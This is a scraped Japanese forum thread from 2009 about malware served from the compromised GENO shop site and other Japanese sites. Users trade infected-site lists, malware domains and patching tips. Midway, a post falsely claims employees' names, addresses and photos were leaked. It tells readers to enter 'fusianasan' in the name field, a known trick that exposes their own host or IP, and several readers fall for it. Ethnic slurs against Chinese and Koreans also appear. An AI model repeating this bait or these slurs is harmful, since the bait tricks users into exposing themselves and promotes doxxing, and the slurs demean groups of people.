代表代表取締役社長 寺田 由雄
設立1998年7月
資本金1,000万円
電話047-306-3780
FAX047-306-3781
email　 [email protected]
古物商許可番号千葉県公安委員会 第441430000136号
主要取引先銀行三井住友銀行 葛西法人営業部
三菱東京UFJ銀行 葛西支社
京葉銀行
主要業務下記商品および、中古品の販売・卸・委託販売
（１）事務用品・コンピュータ・コンピュータ周辺機器
（２）家庭用電気機器
（３）カメラ・カメラ付属品、周辺機器・写真材料
（４）OA機器と家庭用電気製品の修理および工事
古物商免許GENO 千葉県公安委員会 第441430000136号
QCPASS 東京都公安委員会 第301030405706号

倒産癖ついてる香具師はつける薬無し

何でいちいち終わりとか言い出すヤツいるの？
何か都合悪いのか？
終わる時は自然消滅するんだからほっとけよww

GENOは潰れちゃえYO！

>>133
どれだけ失速しようがGENOサイドウィルスの対策が取れるまでは必要だろ
またどこかが再頒布するかわからんし

やっぱHIPSあったほうがいいなでも面倒くさい

>>138
まだおいらは未確認だけど、ラトビアの問題のサイトはとりあえず閉じられたみたいなんで、
これ以上書き換えられたサイトを閲覧したクライアントPCが被害に合う事はとりあえず無いと思うけど、
それとは別に書き換えられたサイトを見る度にノートン先生以下、各セキュリティソフトが発狂するのはこれまで同様なんで、
どのみち鯖側の書き換え問題が解決するまでは当面どうにもならないよ。

いきてるっぽいよ
もともとスパムメールばらまいてたとこらしいから
専門のサーバなのかも

>>141
あ、そうなんだ。
単なるレン鯖じゃなくて生粋の商売人のスパマーの鯖かも知れないわな。

GENOのポリシー
「説明、展示、交換、解約、無料サービスをしない5つのNO!」

説明？　なんで被害者なのに説明しなけりゃならないんだ！？ああん？
展示？　お詫びで十分だろ、乞食が！
交換？　お前のPCなんて知らねぇよ。ウチは復旧しました（はぁと
解約？　今までもこれからも買うんなら振り込めよ、カスども
無料サービス？　もちろん補填なんてしませんよ。乞食どもが、　　　　あー笑える

しかしキャッシュ消せってのが衝撃的過ぎて

そうだな
伸びてないし潮時かもね

涙目のルカさんみたいだな

コネチカット州（）笑

ID:WyCnXqGbさんおつかれさまです

なんだ社員がいるのか？

サルまだ居たのかｗ

18 名前： ビオラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 11:30:37.23 ID:WyCnXqGb
アクセス注意とか書いた>>1は営業妨害で訴えられればいい。
自分のPCが糞なのが原因なのに文句言ってる奴は脳みそに蛆がわいているんじゃね？(^_^;)

81 名前： オンシジューム(コネチカット州)[] 投稿日：2009/04/09(木) 14:00:44.41 ID:iJmH1zHj
GENOはこれからも通常営業続けていくだろう
被害者は泣き寝入りしてくれるから。

133 名前： サルトリイバラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 16:09:23.83 ID:msoo8178
もう書き込みすくなくってきたから終わりでいいんじゃないか

145 名前： ビオラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 16:38:56.43 ID:WyCnXqGb
そうだな
伸びてないし潮時かもね


コネチカット州（）笑

http://tsushima.2ch.net/test/read.cgi/news/1239178101/
52 名前： サポナリア(コネチカット州)[sage] 投稿日：2009/04/08(水) 17:31:45.62 ID:8CjZH+ch
こね時間に書き込んでるお前らはまともな職についてないんだろうな

360 名前： サポナリア(コネチカット州)[sage] 投稿日：2009/04/08(水) 22:11:28.46 ID:8CjZH+ch
もう書き込みすくなくなってきたしもうおわりだな

462 名前： サルトリイバラ(コネチカット州)[sage] 投稿日：2009/04/09(木) 00:03:39.63 ID:8CjZH+ch
もう書き込みなくなってきてるから次スレはいらないな

こねさんおつかれさまです＾＾

ID:WyCnXqGbはもう泣きそうなんじゃねｗｗｗ

裏２ちゃんねるに、GENOウィルス事件での詳細まとめファイルと
サーバ管理などに関わっている社員などの名前・住所・顔写真をうｐしました。
個人情報なので、表２ちゃんでは公表できないのであしからず。
詳しくは裏２ちゃんねるのトップページをごらんください。

※ 裏２ちゃんねるへの入り方
１．書き込みの名前の欄にfusianasan.2ch.netと入れる。
２．E-mail欄に居住地の県名（日本以外からなら国名）を記入する。
　　これで最寄りのサーバから迅速にアクセスできるようになる。
３．本文にパスワードの「geno geno」と入れて、書き込みボタンを押します。
４．タイトルが　「ようこそ　裏２ちゃんねるへ＼(^o^)／」　に変わればＯＫ
５．サーバーが重いと２chに戻ってくるので、再トライでGO！

普段IDの出ないパソコン一般板でしか工作していない奴だと
こーいう所で赤恥をかく事が判らないのかもなｗ

genoにメールして返ってきた人いる？

>>157
それもそうだし、そもそも先週立ってたスレで買った
NECのノートPCが無事に届いたという話も聞かないよね。

どうぞ、そう思われるのなら
営業妨害で訴えてください。

【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★10
461 ： ビオラ(コネチカット州)[sage]：2009/04/09(木) 00:02:55.97 ID:WyCnXqGb
再起動したらOSがたちあがらなくなった。

クソッタレが

【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★10
471 ： ビオラ(コネチカット州)[sage]：2009/04/09(木) 00:09:05.32 ID:WyCnXqGb
ふざけやがって。

【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★11
18 ： ビオラ(コネチカット州)[sage]：2009/04/09(木) 11:30:37.23 ID:WyCnXqGb
アクセス注意とか書いた>>1は営業妨害で訴えられればいい。
自分のPCが糞なのが原因なのに文句言ってる奴は脳みそに蛆がわいているんじゃね？(^_^;)

【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★10
976 ： ビオラ(コネチカット州)[sage]：2009/04/09(木) 11:39:10.69 ID:WyCnXqGb
PC環境も整えられない馬鹿ばかり(´・ω・｀)

【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★10
978 ： ビオラ(コネチカット州)[sage]：2009/04/09(木) 11:41:50.48 ID:WyCnXqGb
さっさとOLインストールしなおせ

【0.1】ﾈｯﾄｼｮｯﾌﾟ｢GENO｣等でウイルス感染　業務再開するもGENOｻｲﾄﾞは｢ｷｬｯｼｭ消せ｣とふざけた対応★11
22 ： ケブカツルカコソウ(コネチカット州)[sage]：2009/04/09(木) 11:48:23.89 ID:WyCnXqGb
お前ら猿かよ

ID:WyCnXqGb　は書き込みに使ってるドコモ携帯も感染してるかもよ？ｗ

>>158
だよなぁ　全然盛り上がんないね
値段間違いの祭りとか、
DQNのblog犯罪発言とかならみんなバンバン電話凸までしてんのに
電話した　という書き込みどころか
メールしたけど返ってこない　という書き込みすらほとんど見ない
↑の事例なんかよりよっぽど悪質だと思うんだがな

ID:WyCnXqGbががんばってくれてるけどそれも焼け石に水みたいだし

Geno Geno

相手が名も知らないGENOだから皆興味ないだけ
これが大手だったら電凸ありまくりだったでしょ

たしかにGENOなんて初めて聞いたよ

第一印象は最悪だけれども

>>162
感染したPCで活発的に２chやんのか？

裏２ちゃんつながらない？

>>164
違うな。
中古PC買うようなマニア風味な奴だからわかったことで、
一般人はそもそもレジストリやCUIなんて使うどころか見たこともないっしょ。
忌まわしい体験版バンドルノートンの期限切れすら理解せずに使い続けそうだし。

会社名株式会社GENO（ジェノ）
住所千葉県浦安市高洲2-1-10
代表代表取締役社長 寺田 由雄
設立1998年7月
資本金1,000万円
電話047-306-3780
FAX047-306-3781
email　 [email protected]
古物商許可番号千葉県公安委員会 第441430000136号
主要取引先銀行三井住友銀行 葛西法人営業部
三菱東京UFJ銀行 葛西支社
京葉銀行
主要業務下記商品および、中古品の販売・卸・委託販売
（１）事務用品・コンピュータ・コンピュータ周辺機器
（２）家庭用電気機器
（３）カメラ・カメラ付属品、周辺機器・写真材料
（４）OA機器と家庭用電気製品の修理および工事
古物商免許GENO 千葉県公安委員会 第441430000136号
QCPASS 東京都公安委員会 第301030405706号

倒産癖ついてる香具師はつける薬無し

>>155
これは・・・

>>167
夕方になるとちょっと込み合うから何回かやってみ

>>168
え？

これは明らかにgenoの宣伝だな

>>155
混んでるのかつながらないぞ

タイミングの問題もある。
俺は2回目ですんなり入れた。

お詫び板に立ってる
http://gimpo.2ch.net/test/read.cgi/owabiplus/1239264401/

>>166
俺もこれだと思うんだよな
ああいう祭りで喜んで凸してたのは
この事件でウィルスに引っかかるような奴等が多かったんだろうと
で、まぁ感染免れてたとしても
HP見るのすら怖くてできないからおとなしくしてるのでは

>>174
今別の祭でどっかのゆとりの個人情報が晒されてるらしい

GENOのIPは1年ぐらい前から焼かれてるんでなかったか？
串鯖にされて好き放題やられていた時にさ

GENO GENO

駄目だ
まだ入れない

>>153
「の」と「ね」打ち間違えただけだろう
そのくらい分かるだろう

会社のPC壊して自主退社になった人まだいるの？

うわー裏すげーｗｗ

また
こねチカット

ログイン成功

裏2ちゃんねるに ログインしました。

裏2ちゃんねるのスレッド群にログインしました：
表では書き込めないようなことは
こちらでお書きください。

失速早すぎるだろ

ちょ、うｐ主パス掛けろよ。
情報消されるだろｗ

と思ったら裏にいってんのか。

GENO GENO

ニュー速でしかもこの時間に
ガチでフリアナに引っかかるやついんのかよ

業者の火消しってすごいねｗ

GENOはこんな無駄な金があるなら被害者救済の為に使えよ。

フッシーしても別に困る情報がない…

おまえらｗ

AVG８は対応したの？？

つながらないのですorz
誰かwikiで検出方法あったらコピペしてください

GENO GENO

ちくしょう

(´･ω･`)

感染してキレてる奴は電話で問い合わせたりしないの？
泣き寝入りなんて最悪だぞ
行動力が大切

GENO GENO

>>200
録音機材がない

GENOで買えばいいんだよ

>>202-203
ｸｿﾜﾛﾀ

>>151
俺ｗｗｗｗｗｗｗｗがいｗｗｗｗｗｗｗｗｗｗｗｗるｗｗｗｗｗｗｗｗｗｗｗｗ

>>205
涙ふけよｗ

genoってシナチョンがやってるから日本人が嫌いだからわざとやってる可能性が大

「たとえ倒産しても名義借りれば何度でも蘇る」って事だろ、計画倒産大好きだしｗ

楽天のショップ何個か感染しておりますな

Windows Updateのどれをしておけばいいの？

>>209
ｋｗｓｋ

>>209
どこどこ？

とりあえずreaderとflashは最新にした

>>209
マジカ
楽天に繋がないように言っておこう

福袋も最悪だったしもう利用しないリストに入れる事にする

>>214
PT1が当たったやついたけどなｗ

　　　　　　　　　　　　／）
　　　　　　　　　　　／／／）
　　　　　　　　　 ／,.=ﾞ''"／
　　　／　　　　 i f　,.r='"-‐'つ＿＿＿_　　　キャッシュ削除すりゃぁいいんだよ！！
　　/　　　　　 /　　　_,.-‐'~／⌒　　⌒＼
　　　　／　 　,i　　　,二ﾆ⊃（ ●）.　（●）＼
　　　/　 　　ﾉ　　　 ilﾞフ::::::⌒（__人__）⌒::::: ＼
　　　　　　,ｲ｢ﾄ､　　,!,!|　　　　　|r┬-|　　　　　|
　　　　　/　iﾄヾヽ_/ｨ"＼ 　　 　 `ー'´ 　 　 ／

>>209
kwsk

!vip2:stop:
---
見習い戦士のふつうの攻撃
ログインしてないです。

>>215
GEROのことだから社員が自演したんじゃねーの？ｗ

当たりがPT1ってどんだけだよｗ

>>219
たしかにわからないけどｗPT1買えなかったスレで羨ましく眺めてたなぁ(｡´Д⊂)

まだサーバへの手法はわかってないけど
FTPでアップロードしてるとこが危ないとしたら
他もありそうだな

!vip2:stop:
---
見習い戦士のふつうの攻撃
ログインしてないです。

まったく反省がみられない
絶対に許さない

>>224
お前に何ができる！！！！！

○Security NEXT
○INTERNET Watch
○スラッシュドット・ジャパン
GENOウィルス報道した。

・ITpro
・ITmedia
・CNET Japan
GENOウィルス報道しなかった。
３つとも大手メディアと思われるのだが
しなくていいのか？

>>225
キャッシュは削除できるんじゃねw

キャッシュって１０年くらいで勝手に消えるだろ

>>226
CNET報道しなかったっけ？

キャッシュの削除ってgenoでウイルスもらった証拠が消えるだけだろ
駄目だなこりゃ

こわいね

>>229
よーわからんが、
CNETの場所を個人が借りて情報を発信していただけ。
CNETがニュースとしては報道してない。

PC通販ショップGENOのサイトにマルウェアが仕込まれた疑いJacques Log - CNET Japan
ttp://japan.cnet.com/blog/sec_newbie/2009/04/07/entry_27021630/

※このエントリは CNET Japan ブロガーにより投稿されたものです。
シーネットネットワークスジャパン および CNET Japan 編集部の見解・意向を示すものではありません。

そういえば、GENOがウィルス持ってた証拠を動画で持ってるって人いたけど、
Wikiの管理人にメールで送ったら、編集禁止で掲載してくれる？
千葉県警に通報しようと思うんだけど。

>>233
それP2Pに放流の方向で

千葉県警はカスだよ
未だに市橋の野郎もつかまえらんないし

>>233
ｗｗｗｗｗｗｗｗｗｗｗｗ

でも、俺nyやんねぇから、うｐろだにもうｐしてほしす

ニコニコにUP汁
うちの予備機やっと直した。orz

そこで、俺はおとこだー!!
森田健作知事、増毛厨

アンカー間違えたｗｗｗｗｗ
×>>233
○>>234

セキュ板の本気
ttp://www1.axfc.net/uploader/He/so/214810.zip

ものすごいけどお手上げ状態なんだな

一通りupdateしてスキャンしてみたりで異常無しだったからとりあえず一安心

確実に汚染サイト増えてんな
「サーバを直接ハックする」というより「管理端末に新種感染→サーバ感染」の可能性のほうが高そうな感じだし、
ウェブのショップに限らず、自分で管理してるウェブページ持ってる奴は自分のPCをチェックすべきだな

>>240
うｐ主だけどそれ清書する前のなんで最終版もうｐしといた
まとめにもなってるとおもうんで興味あったらclientのほう
78行目あたりから見てみてね

http://www1.axfc.net/uploader/He/so/214849.zip

>>243
何だお前さんだったのかｗ
乙

>>243
本名残ってるけど、ええの？

確かに本名

>>243
本名じゃないけどやっちまった＼（＾o＾）／
いったん消すわ

>>240
中身は何？まとめサイト丸ごと？

どどんまいｗ
まあ本名ではないよなｗｗｗ

>>247
もうネットの海漂ってます。南無。

>>243
特攻ですか

>>247
イキロ

しかしすげえよな
感染してるのわかってて商売続けるって

まあ本名じゃないからいいんだけど
メアド(gmailだけど)もあったから消しました
再掲
http://www1.axfc.net/uploader/He/so/214862.zip

不足情報とか間違ってるとことかあったら指摘もらえれば
修正して再送しますん

>>253
Genoも被害者なんだけどね、広告掲載サイトの方が対応丁寧って
どういうこったとは思うし、ウイルス騒ぎにはこれっぽっちも触れないのはな…。
2次被害をばら撒いた加害者になってる

俺はFlash切ってたおかげで感染してないがgeno踏んじまったし。

>>253
だってセキュリティソフトうらなきゃならないんで･･･

マジ会員登録しなくて良かったぜ

キャッシュってどのくらいで自然消滅すんの？

>>254
乙
いいんでない、伝わるし修正しだしたら限がないし纏まらないし揉める（性的な意味でなくて

>>254
おつかれさま

>>254
乙

ソフトウェアのバージョンアップをしないのは、
ウイルス対策ソフトを使わない事と同じ。
ノーガードの奴がウイルスかかっても自業自得なら、最新のソフトウェアにしない奴も自業自得
GENOサイドのPCももちろん最新のソフトウェア仕様だから
ウイルスばらまいてますって急に言われても同業者の嫌がらせにしか聞こえないだろう。

genoに電話したやついないの？

>>263
したが
電話にでんわ。

>>258
キャッシュ領域用として設定されたディスク容量分がいっぱいになったら
古い日付のキャッシュから自動的に消されてしまうけど、
そーいう事がない限り基本的にいつまででも残る。
別途保存する履歴の日数を設定出来るブラウザもあるけど。

てか、サイト内で使われてるJpg等は結構すぐ消えちゃうけど、
少なくてもクッキーは自ら消したりしない限り延々と残る。

カカクコムがウィルスにやられてばらまきやっちまったときは
カカクコムがNOD32を配布したりしてよーやってたと思うわ

それに比べてゲロは…

GENOの由来は、元 王ってやつが創始者。
つまりチョッパリ

>>266
北の国からの名シーンじゃないけど、

「誠意って何だろうねぇ。。。」

って事なんだよね。
これがリスクマネージメントの基本で極意なんだと思う。

うちのパソ来たばっかなのにDELLに帰って行った・・・
サポートのお姉さんマジでごめん。
ここ知る前に踏むとマジでどうしようもないな。

これまさかこのまま終わるんだろうか

crestronjapanやmag-puppineはいまだにウィルス垂れ流しつづけてる
クラックされたサイトは風評被害が怖くてだんまりを決め込む
不正アクセスの届出がないから警察も動かない
メディアは感染拡大を報道しない

終わってね

お姉さんとかいいなー
うち昔サポに電話したら中国人がでたよ
向こうは日本語片言で英語はできるんだけどうちが英語片言。
8年くらい前の話しだがｗ

>>270
終わらせない為にここがあり、我々が居るんジャマイカ

この手の騒ぎは探偵ファイルに掲載されてから本番だけど、探偵ファイル何やってんの！

>>270
あれ、と思ったらテンプレから消えてる
この二つは発覚して1日目か

感染した所のOSとか
www.geno.co.jp　Apache2.2.3 CentOS
www.rakuten.ne.jp/gold/i-na/　Apache
www.juicyrock.co.jp　Apache1.3.33 Debian GNU/Linux
www.naxos.co.jp Microsoft IIS 5.0
www.crestronjapan.com Microsoft IIS 5.0
mag-puppine.com/about/ Apache/2.0.52 Red Hat

>>259
性的な意味で把握

制限してないんでエロあさってる人もついでにDLして
賢者になったときにでも読んでくれたら良いと思ってる

今は、ECナビで踏んでる人続出中

これか

**** 価格比較のECナビ Part43 ****
http://gimpo.2ch.net/test/read.cgi/point/1238752206/84

84 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/04/07(火) 12:26:50 ID:AHGC13lc0
今日の■□□□をクリックすると、カス7が木馬だ木馬だと騒ぐんだが
カスだから誤検知かなぁ

セキュリティ意識ゼロの人も多そうだし、いろいろと拡散していそうだなぁ

なんかGENOと同じ様な対応してても反応薄い所が多いな

【つこうた】スーパー・○ナカの従業員が盗撮か？盗撮画像＆動画が大量流出
ttp://www.aguse.jp/?m=w&url=http://data.tumblr.com/mRoyLdpRnly6kkrnFKbpPWVMo1_500.jpg

>>273
今のGENOは4D_WebStar(Mac用のWebサーバ)なんだけど、なんで古い情報をテンプレに載せてるの？
GENO Corp. 122.221.10.234 unknown 4D_WebStar_D/2004 11-Feb-2009
GENO CO.,Ltd. 125.101.28.146 Linux Apache/2.0.52 CentOS 18-Nov-2007

>>279
webとcojpの違いでね？

突然どうした

Vistaで該当サイトにも心当たりなかったけど、
短縮URLに引っ掛かってから不安だったのでカスペの完全オンラインスキャンした

この安心感は異常

>>158
俺は届いたよ　NECのノートpc
ウイルスに関してのお知らせは全くないけど

炒めよう♪ミンチ♪塩コショウで〜♪
混ぜたならポテト♪軽く握れ〜♪
小麦粉卵にパン粉をまぶして〜♪
揚げればコロッケだ〜よ♪

キャベツはどうした？♪

てか国内でめったに起きないサーバークラックがなんで一度に5回も6回も行われてるの?
ウイルス制作者ががんばって何年もかけて集めたの?

何言ってんだ
MSNや価格.comのときもそうだったろうが

毎日のように起きてるぞ

CPU使用率が急に上がったら確定？

稼働率の数字ばかり気にして
「動いてるシステムは触らない」神話に縛られて
パッチ当てやバージョンアップしない
それに時間も金も出さない
結果がこれ

CPUの急激な上昇も
PDFやFlashのverが最新だった為にウイルスが脆弱をつけずにいるっていうケースもある
だからjsを駆除すれば解決

>>285
知らないだけだよ

なんかグーグルの検索結果がトルコ語で表示されるようになったんだがｗ
ヤヴァイ？

>>292
genoとは別のバグ
ブラウザ上部にあるメニュー(ファイル　編集　表示　お気に入り　ツール　ヘルプ)
のうちの表示からツールバーの項目を開いてGoogle Toolbarのチェックを外したら一度すべてのIE窓を閉じて
もう一度起動した後googleで検索すると直ってるはず。

googleが文字化けするんだが
ttp://takeshima.2ch.net/test/read.cgi/news4vip/1239271561/

今後も新手のウイルスは定期的に立ってるzipスレに効果を発揮しそうだな

>>293
ありがと
ＥＣナビやってるから踏んだのかと一瞬焦った

何々楽天の一部店舗もやられてるんか
こえー

糞バスター様の対応はどうなのよ？

一応ネットで検索すると誤検知とデータベースには引っ掛かるけどキッチリ対応してるの？w

ニコ動に繋ぐとすぐプニルが落ちるんで、コレに感染したと思ってさっさとリカバリしたよ

>>297
大体のソフトはjsからの感染を防ぐよう対策済だと思う
感染済みの場合は、ベンダーに報告された一部のウイルス駆除だけかもしれん

アンチウイルスソフトでヒットしたひとは検体の名前だけでもセキュ板にあげると助かるんじゃね

自由にweb閲覧もできないなんて
セキュリティソフトがんばれ

今回の脆弱性ってpdfにアプリを関連づけしてなければ
引っかからない気がするんだが駄目？

>>301
swfも起動するように出来てるからそっちで感染する可能性がある。
実際にそれで感染するのかどうかは分かってないが、
ウイルス製作者がわざわざコード入れてきてるところをみるとダメっぽい。
つまり、フラッシュとＰＤＦを完全に使わない環境なら安全と言える。

>>301
459 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/04/09(木) 13:33:47
?id=3のFlash（swf）もバッファオーバーフローを引き起こす変造ファイルだと
思われるが詳細不明

てｓ

>>285
うちの鯖も月2日〜10日くらいボットが連続でハックしにやってくるよ
今んところ全部はじいてるけど正直怖い
毎日セキュリティ系の情報から目が離せない＞＜

ホントzipスレには近寄らなくなった
まあ代わりにエロ動画編集してるけど

aguseGatewayはもっと評価されてもいい

いつもJava、JavaScript、ActiveXは切っているんだけど
どうしても必要なときがあるからな…ネットは仮想PCに限るのか

最新ブラウザじゃないとXSSの脆弱性使ってJavaScriptオフでもスクリプト実行することが可能

>>307
たしかにおまんちんを見るときはいつもお世話になっている
SOURCE CHECKER ONLINEにも頭が上がらない

>>308
donutとか使えばいいじゃない
ボタン一つで切り換え可能だしブックマーク毎に設定できる

セキュリティ系のニュースでこの事件がスルー気味なのはなぜ？
まだ駆除方法が確立されていないから？

さらに中小のECサイト・コミュニティはこの手の話は一切触れようとしない。
事情は一応分かるが、腐ってるよ。

>>312
事情がわかってるんだったら、そういうことなんじゃ？

>>312
例えばどことどこ？
2ch内でスレがあればそこに書き込んで中の人煽ってみたら？

>>312
セキュリティホールmemoには出てるから、日本のセキュリティ関係者はみんな知ってるんじゃねーか
誰も取り上げないのは名誉毀損にビビってるか、ただの情弱なんだと思う

一件のAdobeの脆弱性は去年の夏から取り上げられてるし
他の件で忙しんじゃね？

自分の所がクラッカーに攻撃されて同じ様な状況になる事も考えられるからだと思ってた

まあ、中小なんてセキュリティには興味ないからね。
それでも事後の対応くらいの話はあっても良いと思うんだが……。


既出だったら申し訳ないけど一応。
どこかに共通のCMS使ってるからウィルスに感染？みたいな記述があったと思うんだけど
楽天Gold（www.rakuten.ne.jp/gold/i-na ）はFTPでアップだから感染の経路はおそらくFTPだと思う。

>>314
EC全般の話になるからスレは多分ない。
Web制作は技術系の話だし、通販板も店ごとだしね。

セキュ板に書かれてるスパム必死なktの線がまじで濃厚なのかｗ

このままだとGENO大勝利だな

前の0,1のときもそうだったしな
無視決め込めばやり過ごせると思ってるんだろ

で、ニュー速からスレ消えた辺りでお詫びを消す

>>320
無視した方が得だというのが分かったから
これから他もドンドン真似して無視するようになる。
これは困った事態だな。

芸能人ブログの不適切発言も、修正→シカトが普通じゃん

去年だったかな、さくらインターネットのサーバ群がセグメント丸ごとハックされたことがあったんだよ。
Arp Spoofing食らって偽GW経由でウィルス垂れ流し。
ハックされたセグメントには某有名掲示板やら某中堅ニュースサイトも含まれていたんだけど、
アナウンスは一切なし。
もう隠蔽は常態化してるんだと思うよ。

そういやxreaの広告でもそういうのあったよな

音屋くらいの詳細な報告を

するわけないか。

何やっても許されるという風潮だからモンペア等モラル面の問題が出てくる。
それと同じことがネットでも起きている。どこかで歯止めをかけなければ。

今北産業

>>326
零細企業にコンプライアンスは無理ｗ
まともなリスクマネージメントの対処なんて出来やしないよ。

ドロン秒読みだったりして・・
http://www.watch.impress.co.jp/akiba/hotline/20070203/etc_success.html

皆さんソフトウェアの脆弱性の情報のチェックってどのサイトでしてます？
自分はITproってサイトで一応してるんですが。

GENOの社員を逃がすなよ

>>331
あとインプレスWatchとセキュリティmemoぐらいかな

>>331
いつもその種のITPro系のサイトと
2chのセキュリティ板をちょいちょい見てチェックしてます。
あとはMSDNやTechNetも。
で、何かあればセキュリティソフトベンダーの情報に目を通すって流れ。

いずれにしても情報の速さから言うと各ソフトベンダー側のサイトのが最速なんで、
気合を入れてあの訳の判らない機械翻訳の日本語を読んでます。

ここって食品とか売ってるけど問題ないの？
中古品扱いなの？　”ジャンク”フードだからいいのか？

>>335
問題ないよ。

>>335
キャッシュクリアしておけば大丈夫

>>335
おなか壊したらレシート捨てて下さい

10スレも伸びてるとはな

再インスコ終わった
geno許さない

>>307>>310
aguse俺もしょっちゅうお世話になってる
特にゲーウェイの方はめっちゃ便利

ただ、genoのサイトを表示させても、カスペエンジン使ってるはずなのに
ウィルス検出されませんでしたって結果になってて残念

調査終わったら発表するんだろ？
まあ、永久に終わらないかもしれないけれど

ジャンク屋が売るﾘｱﾙなジャンクフードだからおｋ

結局これｱﾝﾁｳｨﾙｽの対応はどうなったの？

音家騒動の時ほど騒がれずに終了か･･･

>>344
総合セキュリティーソフトならほぼ対応完了
発症は防げるが、発症してしまってからはお手上げ

crestronjapan.com

ここもずっと放置なんだが倒産してんのか？

>>335
食ったら未知のウィルスに感染するぞ

>>345
あれも被害被ったｗｗｗｗｗｗｗｗ
不運ｗｗｗｗｗｗｗｗ

あっちはクレカ番号流出があったからな

まぁここの店員の態度みてると
こんなもんかなって思ってしまう。

転売するような店だしな

おはようGEBO

GENO ウィルス の検索結果 約 41,200件

geno.co.jpをうっかり踏まないようにコンテンツアドバイザーで禁止サイトにしますた

geno菌

http://www.google.co.jp/search?q=GENO

他のキーワード: GENO

geno-web 　geno ウイルス 　geno ウィルス

俺たちの戦いはまだ始まったばかりだっ！

ウイルスバスター２００９　「生協ハ反体制的団体デス、アクセスハ禁止サレテイマス」
http://tsushima.2ch.net/test/read.cgi/news/1239312186/

俺の必殺技、リカバリしろ。が最近使えないのは
頭にうんこがつまってる人間はPCはあきらめて携帯電話でｺﾞﾆｮｺﾞﾆｮやってるのかねぇ

ここも何か仕込まれてるな迂闊に踏むなよ！
ちなみにこのリポートはSRWare　Ironでセーフブラウジングのもの

www.umax.net の現在のステータス
疑わしいサイトとして認識されています。このウェブサイトにアクセスすると
コンピュータに損害を与える可能性があります。

Google による巡回テスト状況
このサイトで過去 90 日間に Google がテストした 2 ページのうち 2 ページで、
ユーザーの同意なしに不正なソフトウェアがダウンロードされ、インストールされていたことが
判明しました。Google が最後にこのサイトを巡回したのは2009-04-06で、
このサイトで不審なコンテンツが最後に検出されたのは2009-04-06です。
Malicious software includes 8 scripting exploit(s).

不正なソフトウェアは cliprts.com/, 64do.com/, vtg43.ru/ を含む 8 個のドメインでホストされています。

This site was hosted on 1 network(s) including AS7482 (APOL).

有害な不正ソフトの感染を広げる媒介をしていたかどうか
過去 90 日間に www.umax.net が感染の媒体として機能した形跡はありません。

不正なソフトウェアをホストしていたかどうか
いいえ、このサイトでは不正なソフトウェアのホスティングが過去 90 日検知されていません。

疑わしいサイトとして挙げられた原因
第三者が不正なコードを合法的なサイトに追加したことにより、この警告メッセージが
表示されている可能性があります。

リンク切ってコピペしろブタ

>>361
360はリンク切ってあるだろ。

>>361
>>360に言ってるなら、お前のブラウザのせいだろｗ
IEじゃ普通に切れとるわ。設定でOFFにしとけよ。

>>361
あなたのような人がウイルスに感染するんですね、ご愁傷様です。

>>361
ばーか

>>361
ぷぎゃーーああああああああああ

>>361
生きてて恥ずかしくない？

>>363
IEで見てんの？

>>361の初々しさに嫉妬

>>360がリンク張られてるように見える専ブラってどれなんだろ？

>>361
症状：馬鹿

平日の午前中にどんだけ潜んでんだおまいら

もういいだろ>>360
>>361もアホだが、おまえも短時間にID変えて必死すぎ

今日はこーゆー釣り場なの？
いいさ！沢山釣られてやるZE

バンキシャにたれこめよ

>>375
やらせ要素がないので却下

crestronjapan.com、昨日の夕方までは問題のやつが残ってたけど
今見たら消えてるっぽい。
対策したんかいな。
トップページにお知らせとか出てないがｗ

>>373
よう、もう涙は止まったか？

>>370
かちゅ〜しゃだとリンクになってる。
twintailは切れてるけど。

Jane Doe使えば万事解決

>>379
ああ、かちゅか。存在を忘れてたｗ

>>377
消えてないぞ。

>>382
うんごめん俺の勘違いですた(´・ω・｀)

ですた(´・ω・｀)　じゃねーよハゲ

ハゲって言うなよ、ハゲてる人が可哀相だろうが

>>385
ようハゲ！

ゲロ社員いい加減にしろ。

>>384
俺はハゲてますん(´・ω・｀)

AVGにしてましたがAVASTに戻します

>>376
偽装サイト作って、「ここでも起きますた！」
再現VTRつくってくれるってwww

「キャッシュ消せ」で事態の収拾を狙ってるＧＥＮＯ。
もっと、真摯に対応してよ。

今回のウイルスは亜種などを含めどのくらい見つかったの？

>>392
セキュ板でもウイルス本体のことはよくわからないらしい

>>392
外国のbbsとか見てる人のblogがあったが３月２８日時点で、
既にこの事象と似たセキュリティホールを突く仕掛けをＨＰに入れられた人が居るらしい。

進展が一向に進まないのは
何でもいいからやっちまえ取り敢えずでかいのを頼むぜ
でも俺は助けてね厨がユーザーの大半を占めるから

　　　　　　　　　　　　　　　　 _..　-――-　._
　　　　　　　　　　　　　　.／　 ,―――‐-　._` .
　　　　　　　　　　　　 ／）　 ./　 ／　　／　　｀`＼
　　　　　　　　　　　／／／）ィ7T.ﾌ厂￣｀ﾌｉ ‐-_　|〉.　＿人人人人人人人人人人人人人人＿
　　　　　　　　　 ／,.=ﾞ''"／ 　ﾌl/_×／/　|ﾊハl　.ﾄ、＞ ｷｬｯｼｭ削除すりゃぁいいんだよ！　＜
　　　／　　　　 i f　,.r='"-‐'つｲ._T_i`　 　.r≦lハ!|｀`　^^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^￣
　　/　　　　　 /　　　_,.-‐'~|　|'弋..!ﾉ 　 　 i'＋!ｌ　|
　　　　／　 　,i　　　,二ﾆ⊃l　|' ' '　 ,‐- ..__ﾞｰ' .!l .|
　　　/　 　　ﾉ　　　 i　lﾞフ..,!l .ﾄ､　　ｌ　　｀,! 　 .ハ.!
